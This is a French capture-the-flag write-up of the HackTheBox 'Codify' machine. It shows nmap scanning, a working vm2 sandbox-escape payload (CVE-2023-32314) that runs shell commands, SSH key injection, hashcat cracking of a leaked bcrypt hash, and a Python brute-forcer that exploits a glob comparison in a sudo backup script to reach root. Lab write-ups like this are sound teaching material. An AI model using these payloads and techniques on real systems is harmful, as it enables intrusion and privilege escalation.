HackTheBox CVE Node.js vm2 Privilege Escalation
HTB - Codify
Exploitation de la librairie vm2 via CVE-2023-32314, cracking bcrypt et escalade via script MySQL backup.
2024-01-20 Easy HackTheBox
Reconnaissance
ping 10.10.11.239
nmap -p- --open -v -sV 10.10.11.239
Ports ouverts :
- 22/tcp — SSH OpenSSH 8.9p1 Ubuntu
- 80/tcp — HTTP Apache httpd 2.4.52
- 3000/tcp — HTTP Node.js Express
# /etc/hosts
10.10.11.239 codify.htb
Exploitation — CVE-2023-32314
La page “About” mentionne l’utilisation de la librairie vm2, vulnérable à une sandbox escape.
const {VM} = require("vm2");
const vm = new VM();
const code = `err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {new Error().stack;stack();})();
}
};
const proxiedErr = new Proxy(err, handler);
try {throw proxiedErr;
} catch ({constructor: c}) {
let cmd = "ls -al";
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}`
console.log(vm.run(code));
Injection de clé SSH
ssh-keygen -t rsa -b 4096 -f x.key
Modification du payload pour injecter la clé publique dans ~/.ssh/authorized_keys, puis connexion :
ssh svc@10.10.11.239 -i x.key
Mouvement latéral
cat /var/www/contact/tickets.db
Credentials trouvés :
- joshua — hash bcrypt
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
hashcat -a 0 -m 3200 hash rockyou.txt
ssh joshua@10.10.11.239
Privilege Escalation
sudo -l
cat /opt/scripts/mysql-backup.sh
Le script compare le mot de passe caractère par caractère avec un glob pattern — bruteforce possible :
import string
import os
charset = string.ascii_letters + string.digits
end_p = ""
while True:
for char in charset:
os.system(f"echo '{end_p + char}*' | sudo /opt/scripts/mysql-backup.sh > RES")
f = open("RES","r")
result = f.readlines()
f.close()
if not "Password confirmation failed!" in result[1]:
end_p += char
break
python3 x.py
su